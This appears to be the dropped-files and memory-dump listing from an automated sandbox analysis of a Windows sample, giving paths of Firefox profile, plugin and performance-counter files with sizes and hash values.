Path C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\jh02jw2g.default-release\datareporting\glean\events\events
Size 1KB
SHA256 c107b83d63eaa49d48863fb381e1ce1d2df91e29bc9f60fa65f21018d0192fa7
MD5 9a31a69f867a21ca9b99251d647723a1
SHA1 75209d023c717ff536cb07bd10082c9a3e464715
SHA512 e1229ec81b09337b07deb08da1e99593c2415c1e45657e46e43d93c843663b2efcc9b787b0617173d72819d9986dc376bc144fa5c702cf6c6848719c8cefe9ba
TLSH
T18911669C39F98D6AAD8BE29C7491128E53124A0644871D530D53FFCECE90AE9323A839
MD5 SHA1 SHA512 TLSH

Submit Download

11962929-b2aa-4d03-bca0-1d3fa473f2e7

Path C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\jh02jw2g.default-release\datareporting\glean\pending_pings\11962929-b2aa-4d03-bca0-1d3fa473f2e7
Size 886B
SHA256 62d42f277cb1e8b31893c4b8680ef07f480189ff09812f7e4b1173a81fc51b56
MD5 38994715f8b221af337dd87a621a903b
SHA1 09a36e3be582bc5880512e64a9c4f3773ae7d315
SHA512 9f4707a7a745f857f4b263f87c4398adc1f4e157ee30629e9f701a7f250f90a25ead46e3a9d962baed61f0f00149b338158f3bc94da20384049357ebb0e47e67
TLSH
T10D114080CA7575B1CC28838B9AD573028BA07013C0CB09147DA48F180DBA25E7BA720B
MD5 SHA1 SHA512 TLSH

Submit Download

2afaec03-b4d5-46e2-bab5-d1b34aad1c2c

Path C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\jh02jw2g.default-release\datareporting\glean\pending_pings\2afaec03-b4d5-46e2-bab5-d1b34aad1c2c
Size 235B
SHA256 42af5a54c4f845abd0127845edee2db6fbd23502996533f3b294aa51d17c1b68
MD5 26fcb2b9a86782c4e5e281f38a51b4ef
SHA1 5d633a83801e6f6794bb190e0a647460d903aefa
SHA512 320dd2a4f7c094054638792403b96a1118d789296ef3c7bca6005f4bbb9249855ed247b450176cb9175a8c5b442695dd2cf5df9387b06cb12d44c4f7f62ae0b9
TLSH
T1CAD097812498375D4C140F07F0F039C6B0848C3328B06810DAA106B88DBD9CA01A181B
MD5 SHA1 SHA512 TLSH

Submit Download

609eea41-6089-48f0-9383-b434b31c99f4

Path C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\jh02jw2g.default-release\datareporting\glean\pending_pings\609eea41-6089-48f0-9383-b434b31c99f4
Size 883B
SHA256 3beba9158dc0def0e80a3586a686b7929fd97e03423806ac8fef0301a4f2d5d7
MD5 2cd061d61ee47cee17966a9fc68af902
SHA1 417327e8f00d03baa96790e2bd49a8a75c656552
SHA512 d2bc187be21ac545111568a227953c18590b9ca9fefe008eb7bd5a95ba7ee25cd8e25b08500f1ca2736a7aae3fd82ef3553f988ed93c757b6499fbcb7a6d708f
TLSH
T172110040D63179A2CC28824F899A37119FE8751380C645143DA58A084E7D65FAB6764B
MD5 SHA1 SHA512 TLSH

Submit Download

93aa8b8d-b922-4151-80fc-763f6a4e7cf5

Path C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\jh02jw2g.default-release\datareporting\glean\pending_pings\93aa8b8d-b922-4151-80fc-763f6a4e7cf5
Size 2KB
SHA256 f28cb2a5324c0b6364d7d352dbe479824538d2b88ce10d63ad227a426a01e72b
MD5 45105ddba6ad5deea3810b4959a1641e
SHA1 647145db2737cef02d910a5f66e087b52ffd55ca
SHA512 a0387068532a7f5b56b6c9a340373c0911b854fbcf0ae481c5e8035cc039f8d3d87c03115296aaf7a50faa9705891f5fdaf2f7a396839871ea24d6f0ec4ac0fb
TLSH
T18E41416C35785D77DCCAE64DA092278D97A48A03848228932D51DF0CCDA669E336B42F
MD5 SHA1 SHA512 TLSH

Submit Download

a066455e-6abb-4a1c-932c-4bdaf2acc33f

Path C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\jh02jw2g.default-release\datareporting\glean\pending_pings\a066455e-6abb-4a1c-932c-4bdaf2acc33f
Size 235B
SHA256 8612614839ddd45deced03330efd90e9ab2403b2e33197ccb78a074b7d997ccb
MD5 ad4ea86bf670472e966ac3405b5da332
SHA1 1b3b12ee879c7173acbf4d2f427b790acb60dd84
SHA512 4fee15b438a59847169e669144ff0179e9fef5b8af785da1672422b197150983b087d3ba3a26997b95832b2537aefb7c5b2486eb2339d07b081e76edc03c3aa7
TLSH
T10BD0978824A8633E48048F07B0E06AC770488C3324A6A860969210788EB9DC8426590B
MD5 SHA1 SHA512 TLSH

Submit Download

a937074a-2687-4ddf-b232-23e555018575

Path C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\jh02jw2g.default-release\datareporting\glean\pending_pings\a937074a-2687-4ddf-b232-23e555018575
Size 16KB
SHA256 fb5118f6f9a5a3f85129ba4affd18d0dfe542a7a24e7dcc7bb0d774c3ee9b2b5
MD5 58996bffefe4c116a4c09af40475ec93
SHA1 af31a02bb4f0fda25d7b0409709929dc74179cc1
SHA512 4f12b8e15d802e4f9eafbf04b3e4f1a15afd74ab7cdfb8a222a1f1a0399e5032f5602c5d76f62832a1b077e533ea48782c6fe09f4ac4110cb55c737679d456ed
SSDEEP 192:2nV43ogVbgcDzx5FEf8xe13H1uBZ8yooOo/7+juoMuBY+QQmVS8JsHTz+BVAueGK:2nRgVbgcDl5FM8xSu236FQmVqiBOui
TLSH
T10872EB56686056BE8551E3A8D8FC7FC3E2F528CF4C01DFCA9BE0BD0859DA06E512784B
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

extensions.json

Path C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\jh02jw2g.default-release\extensions.json
Size 16KB
SHA256 7224f49092031b7a0c705fdbffbf0f6af51a89cf491d2647baf840e841005361
MD5 2ab2c8e79afb368b0c7590ebd54e8137
SHA1 ba66523aeb3e1dffd5435609bdef4e229a163c4f
SHA512 8c3054fb078509e15c3f247549ba14fa7049b29a28f996dc0597e93187485290c2acab6fcbdc733b48e13fce9bff4a19922affc8afa48e690763d1865bc8e0b4
SSDEEP 384:qkI4v3Umldv/8dhWW94zg96oNL4H1L4PCL4HtL4HCL4Hqf4hK:NI4fRfsXH446+4V4Y4N4Q4w4w
TLSH
T19872521545048EB8298EA78BAA367E01C37D573B60855C78F4DD8FC802FB5B902FB65B
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

gmpopenh264.dll

Path C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\jh02jw2g.default-release\gmp-gmpopenh264\2.6.0\gmpopenh264.dll
Size 1.1MB
SHA256 37c005a7789747b412d6c0a6a4c30d15732da3d857b4f94b744be1a67231b651
MD5 626073e8dcf656ac4130e3283c51cbba
SHA1 7e3197e5792e34a67bfef9727ce1dd7dc151284c
SHA512 eebdeef5e47aeadfeebdbab8625f4ec91e15c4c4e4db4be91ea41be4a3da1e1afeed305f6470e5d6b2a31c41cbfb5548b35a15fccd7896d3fde7cdf402d7a339
SSDEEP 24576:qSPda8zU7qNBLR+R1Uq6S/gCfTuP4PIKth58yS0fDrx1:xfeqNBR+cq6S+4QKtkyS0fv
TLSH
T159458D0AF2A641F8D41ED470966EA722FA79344C173568EF169587202F77BC0AB3EF14
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

gmpopenh264.info

Path C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\jh02jw2g.default-release\gmp-gmpopenh264\2.6.0\gmpopenh264.info
Size 116B
SHA256 fe7686a6281f0ab519c32c788ce0da0d01640425018dcffcfcb81105757f6fe6
MD5 ae29912407dfadf0d683982d4fb57293
SHA1 0542053f5a6ce07dc206f69230109be4a5e25775
SHA512 6f9083152c02f93a900cb69b1ce879e0c0d69453f1046280ca549a0301ae7925facdda6329f7ccb61726addee78ba2fffc5ba3491a185f139f3155716caf0a8d
TLSH
T101B092446843B0B1187682471D795AA55A79B782E022486D6E6F27E10784727476D4E4
MD5 SHA1 SHA512 TLSH

Submit Download

LICENSE.tmp

Path C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\jh02jw2g.default-release\gmp-widevinecdm\4.10.3050.0\LICENSE.tmp
Size 473B
SHA256 20de375707692099b3132084695377ce5fec0aec05813dedcce094b8eda44386
MD5 7406820f5d56fda6baffa951c60679d2
SHA1 e7d4894993e506e235d55b3e47aed019d0584148
SHA512 e70868507c08436b51bb4fd7a582ec0bf81ae0fb5d3d3f20374f584574e54eca81f3cb0530fddcf2d1773c33774f5df58f55ed2a45149c86d33e1e50f64c1d36
TLSH
T13AF0DC7ABA23532245D603C7011450D53B270BF4F25422D0E3E881E5336B178C1FE084
MD5 SHA1 SHA512 TLSH

Submit Download

manifest.json

Path C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\jh02jw2g.default-release\gmp-widevinecdm\4.10.3050.0\manifest.json
Size 1002B
SHA256 2894996540fabbd346ed4ced8386ca77d6badf60372e307ee15c906c30340d0d
MD5 dcffff15fa618a53834ee4ae8673bd23
SHA1 87316c1f583f438b55e3b0a94783ff9dc8f177f7
SHA512 250c869c49c886306aa0362567cb1ccacae676f886a5b9206ce77fb92acf3af16bd574e80d01e0f97f031d6f00710af8f82c176df51994dcfb51153bed3cee46
TLSH
T139115B00DD388DD326D4BAA21CD6580A97661DAF5CC23E94379E161D8F1C8AB937376C
MD5 SHA1 SHA512 TLSH

Submit Download

widevinecdm.dll

Path C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\jh02jw2g.default-release\gmp-widevinecdm\4.10.3050.0\widevinecdm.dll
Size 21.6MB
SHA256 f1216e26ee8c27f938d7722427d29f190e569ed83d0ba16ea872cae684b97602
MD5 d14dd3f0107ff91c3e21f301d83f82b0
SHA1 f61d7d687c9d4b3b6a6c9c0f5610025b5d3f4e45
SHA512 de745c2ff8440d72c5616a88fc56918f4aa7de202c8c4cd7fd026d5eebebde6ee97a3a8a76f331da4c03042b7d87ba8dc2eda40bb475fb47e56df5c2795cf97d
SSDEEP 393216:bYXajn9L4mghF5QDwW0LmruPCB78HYUUZBKvq9PW1gL2hoHH:emghF5QDwWCm/2YU8Ivq9u5K
TLSH
T14E37F18AF36350A8D84E9DF0426EAA72D0743C4E03359AEF17D47B315A727C06A79F16
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

prefs-1.js

Path C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\jh02jw2g.default-release\prefs-1.js
Size 6KB
SHA256 06a572ded4022c6ab1c18568dc81de5f1bda0da9869aedcd07fc9867399f9f8f
MD5 acd53d1a787c03451cc9dd21ef8c1a25
SHA1 fef1bc6f151997cb1f8c719475ed9878259043ce
SHA512 55ae682186a656f83b08dcb8c63a95e38a4764f07eb511a9688df08d8bcf57424d11c220e4be932f3e769b3b6b8710742e7762fd045a08295e58e3ab924a53ee
SSDEEP 96:xHpUTUWqGqPf2BGs1zShSSlvdv9j4n+cHjCa/Bw88u8L4cnAV7wb:vRRPf2BGsISSkj7/Bw88qU
TLSH
T150E1217891088F7F64B6777CAC6888316AB2013B7BBF28D750B95485015CF3841F96EB
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

prefs-1.js

Path C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\jh02jw2g.default-release\prefs-1.js
Size 8KB
SHA256 aa85d9dd823a2ce98d19ffc1e3d81b6c7215606c099b995c2b9750ac9a05eaa6
MD5 2cf12f385400fe19cb9f93339294a07a
SHA1 04d8b5bb00a572e874a1034253ae3c67e6db4c8f
SHA512 b72aeaab0ba340930b306580753fe8f0b98a6aa9f5b6ecdef61fa388b6ab26746409088e93471437b9fe5dd774a16184b6b405d561133aca145144ab14256213
SSDEEP 96:xHphTUWqGqPfZGsObzShSSlvdv9j4n+cWRI/Ca1oBw88jI8L4cnAV7wb:vURPfZGs3SSBRE76Bw880U
TLSH
T1E8020D3C9404CF6F64B67BACAC6489305AA2023BB7BF58D714AA64C5051CF3446F96EB
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

prefs-1.js

Path C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\jh02jw2g.default-release\prefs-1.js
Size 8KB
SHA256 2f46bff37f1bfbf6f639851e4f7542154bbf3e5474af16622806d72685cb5770
MD5 824e2982dd58d745b3e382824ba7826e
SHA1 e41d21ba2e99af28dd9d479c2ae46a5fcb6d02ca
SHA512 5a81ca81fe55b2bf80bf935630a7f015d3627ea16cd7de70bdd2729a177ff30e0b6a4b6c78c4cf048785332a98e42dfdba142acbd8f776e176b742d1855b3c82
SSDEEP 96:xHyhTUWqGqPfZGsObzShSSlvdv9j4n+cWRI/Ca1dBw88+h8L4cnAVPb:sURPfZGs3SSBRE7bBw88+np
TLSH
T1CA020D3C9504CF6F74B677ACAC6489305AA2023BB7BF68D710AA64C5051CF3442F96EB
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

prefs-1.js

Path C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\jh02jw2g.default-release\prefs-1.js
Size 6KB
SHA256 163f5a06f2ef83f721177ba5e17781d1985f2f387d000fc8658bea480bfa13b0
MD5 e549992e6a1af2fa215aaf5c20aff606
SHA1 5277b04f72c658b2ec0fb3052e668e11a48a1356
SHA512 33358ed010d5000cf4bf125b7d31a136287360a50b9a85ae5b5db56713ec480e8de84ebbc7cc44d42ca4084e57467893bbc696911569279395a6dde952987428
SSDEEP 96:xHpUTUWqGqPf2BGsObzShSSlvdv9j4n+cHjCa/Bw88u8L4cnAV7wb:vRRPf2BGs3SSkj7/Bw88qU
TLSH
T192E1207895088F6F64B6777CAC688831AAB2013B7BBF28C750B954C5015CF3841F96EB
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

prefs.js

Path C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\jh02jw2g.default-release\prefs.js
Size 6KB
SHA256 d14dc97d54b34e4726a675dfa562decefde92af0b7acbe968b9eb8a4ed861878
MD5 836f96d11edd2dcc6a033625c39ebee0
SHA1 8660d05146d1d5abbc249ab143feb2f03e0d9662
SHA512 a33e6a1265c673de104bf4afa00d676759abcff0ba732a0d9c1742fc1ecbe585b284107306453f0c11f7fcc819f862f92f65f4afa4dde70d867d48c1117aa285
SSDEEP 96:xHpUTUWqGqPf2B0a1zSDSSlvdv9jGn+cHjCa/Bw88u8L4cnAV7wb:vRRPf2B0aaSSOj7/Bw88qU
TLSH
T197E1127890488F6F74B6777CAC648831AAB2013BBBBF68D750B95484015CF3845F96EB
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

recovery.baklz4

Path C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\jh02jw2g.default-release\sessionstore-backups\recovery.baklz4
Size 3KB
SHA256 637019cf021d79796b6e7ea27cf730781e44da7ac0e93a96d731b154f9d25795
MD5 4a6a055896a2d3ba98ad81c7f3c92c6a
SHA1 59179764b390802e5efdb412dd1d3b784689eee3
SHA512 d9c9961fe5e796c43ebe0e3f499734476ceeafb6688cbcd52162abc0f78971e3f6910a574f811a80b60fba7c11df3c8d347fd7234bc3ab89d7f39b2df9edbb95
TLSH
T156816D87865B7EF6BB7139C4C0F56A69E154B852C60D1EE454A4F752423C36C614C3BC
MD5 SHA1 SHA512 TLSH

Submit Download

recovery.baklz4

Path C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\jh02jw2g.default-release\sessionstore-backups\recovery.baklz4
Size 3KB
SHA256 3185da699bdee10a52fea729c1deb2b3f39397ce3461f537f0e7aed0e658abbf
MD5 2c4b259623a8f04fb16f3c78c084c5b6
SHA1 7b5d30e97bda82ec2345303b0c58d73c01626a1f
SHA512 f7b5cdc387cc1d023adbd0001c817e44b46e3b0208f566a5e7e65edf8f4819c9c21f3249c31c040824ec6466e0e4de435c0b716b7917065fe98bddebeed6c5f0
TLSH
T1DF816D83865FBEF6FB7139D4C0F96A19E1547412C61D1EE054E4AB62822C7ADB14C3BC
MD5 SHA1 SHA512 TLSH

Submit Download

recovery.baklz4

Path C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\jh02jw2g.default-release\sessionstore-backups\recovery.baklz4
Size 3KB
SHA256 59bf2e4223ed150fc5b00aac2ace7b3749cbba2c18e9820c3370054a5cfa9cd0
MD5 40f560822ce2425ffa28d21d93bbdcc8
SHA1 777467e3156b4943cc8585adc17ecb98399e9435
SHA512 3e3b28d50a7a2a5bc63275ac2b4fe0927da6d4b51241039da8f4ca61784f241ac779aff0d307e07d9f12ca1863e79e5283faa6636ed7a395ed68b8a92c7f3e97
TLSH
T101817D83865B7EF6BB7139D4C0E56B69E154A853C60D1DE454A4F792423C36C724C3BC
MD5 SHA1 SHA512 TLSH

Submit Download

recovery.jsonlz4

Path C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\jh02jw2g.default-release\sessionstore-backups\recovery.jsonlz4
Size 1KB
SHA256 7e2775b1314d38cd5685258a022769f351b80f49b6c156597b8696e1c14c9fab
MD5 bd774130272607be0342df8cad7b5462
SHA1 04fcc8aadd2cc4ef6a145c1a53585c8ac9c8b764
SHA512 5c82f6594c426b4c444ab793becedefdb28dbd4df305c6b6b4fc160b49e21e91e35fd00b4d5c57d56e3342c4925f853e95f02b06a0177ac21a07d1f1e8a573d1
TLSH
T18921D8C6C9A72DFEB726508E90835B66C6583026C27924F089CC4B46A6CC81CA68C33C
MD5 SHA1 SHA512 TLSH

Submit Download

3870112724rsegmnoittet-es.sqlite

Path C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\jh02jw2g.default-release\storage\permanent\chrome\idb\3870112724rsegmnoittet-es.sqlite
Size 5.4MB
SHA256 b5ecc267ade895f6a7879dea192f3fc4dbcf3227742c2ebb164fd0659d852ce8
MD5 3d58bd3869b83bb6e6b7caf78060f075
SHA1 9b7c0413dfe5db1f1fe0a70464c78acde233a1e1
SHA512 a6aed13c6794645c64d14ec5b0b6320955aa4cafd509051c17e8c9f91039fa621433b598c9e4268ee703ac277f76b88b297e161735c169524c3af1dffd3319f9
SSDEEP 49152:UQZLL7RjjSRvYcB3btnS+f505p/JNvc5Cp:JLIrtnS+f56p/Pc5k
TLSH
T1854629E860D1A257F3814073724993EB21EFD00D5037DA085BA95AE9A474CEF8E17B7E
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

perfc007.dat

Path C:\Windows\System32\perfc007.dat
Size 154KB
SHA256 2d21b2544ee0f19b3fc76dcef44efd15d75535117bfe6cc9a437dfa6a7f38a2e
MD5 7571ac27833618565fc1b17af1f335b1
SHA1 a3d23c3ac0f998006b1c05745ee5abae9b421cac
SHA512 70a76b6c1f6faf8db7a1c1a16e9423c65e60ff818370e2e48aa236c5524b51cdf01e9eef760c2f015f20ff69cc71eb8e833f91ffc2a898dc5bb7225c0e970d2c
SSDEEP 3072:wb+j2tTPhtqgG+Hf5Rz5YjO3QzTTCoigI1WZz40NI0brFKnH2M7Pqs0egeS:2oigII
TLSH
T128F304500BE9051DF2F7AF38AAF65042AE6AFDA6BE31D81D1150128E0572E11DC79B3F
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

perfc009.dat

Path C:\Windows\System32\perfc009.dat
Size 131KB
SHA256 63cc5dee207f7a2ad7e0ce1481e94eba46605534db16ad33da4fc61417235265
MD5 a02cb7687ef092f9248898930c20d35d
SHA1 1800951f108214a878c3244425ca97c0d183160b
SHA512 4cdb00132cf59036dabc1fd65483ff60f5af34f087ebdddc98da1b8feaa8a69a01b213783e7d30c7ff6d2096661f3707983002b395398f06ada7b1d30668a49a
SSDEEP 3072:Xdd4jjO8PzT3hoKgIOWIr40lW0v2RjSsp237/q8cKV7Y:koKgIz
TLSH
T1AED3BEA55BF81018F2F77F3CAAF650529E2ABD66AE31C41D01A0124F0572E12DDB973E
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

perfc00A.dat

Path C:\Windows\System32\perfc00A.dat
Size 160KB
SHA256 3c29f5c8d53ddbe70904a77242a381d0f23c3959b2bb63716aa0cc26f9ddb41c
MD5 5d4565ddf8334e6e1d2f2b58d4bc8b77
SHA1 4d7285ea58fbc63f68febf307d82bb43e09a2454
SHA512 73a2e433e3a5e539d4e9bdd923c1ce7b73aa0595543ee9e92ea21b7fe1bbaf71adc9b61fe43cbd64995119904c677f74e9162cd88372d905d2fe4a0f80e441db
SSDEEP 3072:XL7SjORMzTdGoZgIpWhI40uK0uMb217wqtT3qk8:poZgIE
TLSH
T1E7F377505AF80216F2F3BF38AAFA55165E3ABD56AD36C42D0160124E0DB2F11DC78B3B
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

perfc00C.dat

Path C:\Windows\System32\perfc00C.dat
Size 154KB
SHA256 837321e62eb33a423a247237742e3bfda181e250fcabb3c686e5e0992a5ee920
MD5 27496f5e05b90441df9222732ebbe81c
SHA1 2947f5af8496bde963fa2ede5313dd4c4b560cd8
SHA512 343afb119a6e14eeb83ecf4db42beefdb8e829bdd04d2344c5aa1cead1040db29ac24331e60c83de0f07cb36eb305e5c16951dae9351ab23be09743592a37189
SSDEEP 3072:/kDtTckjO6QzTU1okgIaW3V40vH0YkbB2U75q4bXfhm:/KokgIJ
TLSH
T17CF39A945BF90115F2F7BF38A9FA11029E6ABD5BAD32C41D0191018E48B2F51DCB973B
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

perfc010.dat

Path C:\Windows\System32\perfc010.dat
Size 144KB
SHA256 0f5f838113b2bbf023c71561b39380cd40a1881d24c96da7d4152ea82d947900
MD5 2350f01595ba09fd16eedc1d19adb905
SHA1 f9397132272fa9c4d57f0949aef5b52166562663
SHA512 26159fc5962e02e886c49be7a58a5a8360856b1fdc432a96c443acf7c5a36ebc7312a30b183f7ca3de61a999ae463247af68649d5b3c2bf3edcbfe6b4549da1e
SSDEEP 3072:0A67APdGk9jOpFzTbZo9gIEW0c40ve0yvz2O7YqOj9lXF:uo9gIF
TLSH
T135E3AAA16BF81108F2F77F38A9B951125E3EBE66AD35C42D01A1018F0972E51DCB973B
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

perfh007.dat

Path C:\Windows\System32\perfh007.dat
Size 726KB
SHA256 8c406001c8f53f5886969775f7178c1cef2d2cdec664f8a3d04c050ef837a6cd
MD5 a2ff838b0f9a74c47bd2eaca6dfd7b56
SHA1 3eb30dd75685c023c8ef6d9cb99dc5aee24ff406
SHA512 65799eef0af87ff7e866b2a39f3c435ddb93aa17987abd467c306fc082516f19f55510d94f64291f09a1d4b194ab5d106e756390aee54c38b4524576e1463d60
SSDEEP 3072:MfpwBxTEsmVUwN8EBNjcbWhSILPDtzcSx2A8q1JuqaBYrSrSQYCxlFdj9J2hSF1V:rZzzORs1JX
TLSH
T104F4C86153EA8618F2F77F64AEB812A46E62BCE2BD79D60D1250109E0C71F40CDB4B37
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

perfh009.dat

Path C:\Windows\System32\perfh009.dat
Size 688KB
SHA256 3bab5967d2ac8b0f8ddc0b210694d7172b20213c19b2d3588059c893cfd1d592
MD5 0793133d828b3d3b22fb5ddafaabf4b4
SHA1 c3e2eb8cfec42e3c9e7def52a498a336e45210b8
SHA512 10d961928116af0b96650607fa1c6d93c53ac4371fd66ac3970736f0cc5fc1a2872dc2a455a51d0787c0ebbaaa42a7e8924a2026a95e45f66437f56dd8e2a5f3
SSDEEP 3072:ZUqGrdowz4j0PrRZnpETMsZ8M6d0PHCWsnxJfVF6shlOE3XcGBloOZs1GoYOdGo8:f8M6d06WsnyOZs13e
TLSH
T116E4799167FD4608F2F73F64A9B916A45E7ABCA6FC79C25C1250005E4AB2E50CCB0B37
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

perfh00A.dat

Path C:\Windows\System32\perfh00A.dat
Size 769KB
SHA256 879e1268b9de3e0ddf9bfe4c3115c57b5ae6149f1ef1b1a3131c0d66ae125b8b
MD5 d1f123662a9be30633e79ff172e80f60
SHA1 fe5904c5f2ad1f37bfee356e403ee410e77e21c5
SHA512 caab875e9ac8fdd183d5962f5e8a312386d92c1a69517000d140e703088bee395a90f4bb25f969d12093defffc46415fde32ef986f29f154da8656d88851b704
SSDEEP 3072:F2Gx7F17Fetjvt2JYH8QncegungPlZaJQ8E9F6sWOE37wrBuO7s1pYOmqOpatjaK:otjvtuMnpngPlZavzO7s1pYOm45Z
TLSH
T152F40F5067F9560AF6F77F19A9B91A654E7ABD92EC39C11C0220019E0EB1F84CD78B33
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

perfh00C.dat

Path C:\Windows\System32\perfh00C.dat
Size 770KB
SHA256 68cd2620bd7be883a883a800255e6afa5a63d94732db0b11616b867007538365
MD5 3faf6a679b49ecca2c747ad22413f572
SHA1 89005ef75ca38cd0ec2e292bc5619d04c4fb13fe
SHA512 d152b82d59610a921d2b976264ace4412c72626e5edda6116c2790deb3d2d986e7d07d30ee9199beec97fdebb3f14e5c6e0b8e6f594be6d151c5d57426184f83
SSDEEP 3072:8eeo6JpGytgOiPIny4auTsQO2I70IeMsCnSRwERwpZR9DNtflhzxxjAgiblQH4cY:meH1AgkSBORs10B9Jb
TLSH
T1BBF42E60A7FA5209F6F73F64A8B915654E6B7D96EC39C21C0250009E1DB2F94CDB8B33
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

perfh010.dat

Path C:\Windows\System32\perfh010.dat
Size 744KB
SHA256 679d96bc257f43b36fa7c89c91f4bd0eccefc60efeab6689ee1d4833e6fb078c
MD5 4566575408d4bfcb2ee4df8f3f92499e
SHA1 cf90b96e0a49cdb2c284c75157ea4111b7d4e41a
SHA512 b439f9800db8900110258b8a962e4cfab12d6df056ad7823e6c4b2c483ee5dbe377df5dcd9abbd32f06f4c66d935324e0ac91411000f8a873241be8ca2ffe88a
SSDEEP 3072:g48gxoowjkUXxL8d8Zj/v9GLcr+c98ov+pmPxHHtZVbRKI3F6sOOE3/BROMs1VxS:FCj/v9GLcnHtknOMs1Vx0fJunDV3Z+
TLSH
T1A5F44362A7FD5608F6F77F54A97916654E3ABE96AC39C22C0260009E0D72F54CCB0B37
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

perfh011.dat

Path C:\Windows\System32\perfh011.dat
Size 448KB
SHA256 0577bcea9238cb73bce83b64d66672a98c6838489ab87a9299e45e04fb2222de
MD5 fca9f0c19a5544c6a69ed8524169fa46
SHA1 edff2ba75565628e26df2baebcf96c01d72e9aae
SHA512 d7cabd367f1156515c37c883f8e248833ebccfd26127ed95d1c26535f5b12e3e9f996d179b70637993211775986cf7319d4b090cc16929e5a1860460a7cfb851
SSDEEP 3072:6ZS3MD1H7gVmRwNT01ZmX0RZKFZwF6s9OE3LB2/7SsxOOs1TzOh7tjLy0lfPJ/w5:kS3jmRwuc0RZYOOs1Tkuj
TLSH
T127A4B78836E8060DF2F77F64A5B520A02E6EFD65ADBAC56C1550408F0971E48CEB5B3F
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

WmiApRpl.h

Path C:\Windows\System32\wbem\Performance\WmiApRpl.h
Size 3KB
SHA256 ae2b6236d3eeb4822835714ae9444e5dcd21bc60f7a909f2962c43bc743c7b15
MD5 b133a676d139032a27de3d9619e70091
SHA1 1248aa89938a13640252a79113930ede2f26f1fa
SHA512 c6b99e13d854ce7a6874497473614ee4bd81c490802783db1349ab851cd80d1dc06df8c1f6e434aba873a5bbf6125cc64104709064e19a9dc1c66dcde3f898f5
TLSH
T17561011D8E8A416EDA7E36A95C2C192419B5FE770AC058EF317DBCDF0D4A80A24D352F
MD5 SHA1 SHA512 TLSH

Submit Download

WmiApRpl.ini

Path C:\Windows\System32\wbem\Performance\WmiApRpl.ini
Size 29KB
SHA256 c20b11dff802aa472265f4e9f330244ec4aca81b0009f6efcb2cf8a36086f390
MD5 ffdeea82ba4a5a65585103dd2a922dfe
SHA1 094c3794503245cc7dfa9e222d3504f449a5400b
SHA512 7570527fdae4818f0fc780f9f141ab6a2d313cc6b3fdb1f7d7ff05d994ad77d3f8d168b1d77c2555d25dc487d24c18f2cc0eab505d1dd758d709f2576aac1a8a
SSDEEP 384:eso3V1/z21+byTLVh4+rCop/g4kg4491T91XFrw4G4xvrtZ9dyu+2V0DrtcYkcTu:esoW/g4kg4oG4J
TLSH
T1F3D2201267F94158F2F66F98AAF594775A73BEE66D38D1AC01A0031E09E1E40CDB13B3
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

memory/2584-14-0x00007FF8B8420000-0x00007FF8B8DC4000-memory.dmp

Download

memory/2584-0-0x00007FF8B85AF000-0x00007FF8B85B0000-memory.dmp

Download

memory/2584-3-0x0000028CE93E0000-0x0000028CE9402000-memory.dmp

Download

memory/2584-4-0x00007FF8B8420000-0x00007FF8B8DC4000-memory.dmp

Download

memory/2584-5-0x00007FF8B8420000-0x00007FF8B8DC4000-memory.dmp

Download

memory/2584-6-0x00007FF8B8420000-0x00007FF8B8DC4000-memory.dmp

Download

memory/2584-7-0x00007FF8B8420000-0x00007FF8B8DC4000-memory.dmp

Download

memory/2584-8-0x00007FF8B8420000-0x00007FF8B8DC4000-memory.dmp

Download

memory/2584-12-0x00007FF8B8420000-0x00007FF8B8DC4000-memory.dmp

Download

memory/2584-11-0x00007FF8B8420000-0x00007FF8B8DC4000-memory.dmp

Download

memory/2584-10-0x00007FF8B8420000-0x00007FF8B8DC4000-memory.dmp

Download

memory/2584-9-0x00007FF8B8420000-0x00007FF8B8DC4000-memory.dmp

Download

memory/2680-30-0x00007FF8B8420000-0x00007FF8B8DC4000-memory.dmp

Download

memory/2680-16-0x00007FF8B8420000-0x00007FF8B8DC4000-memory.dmp

Download

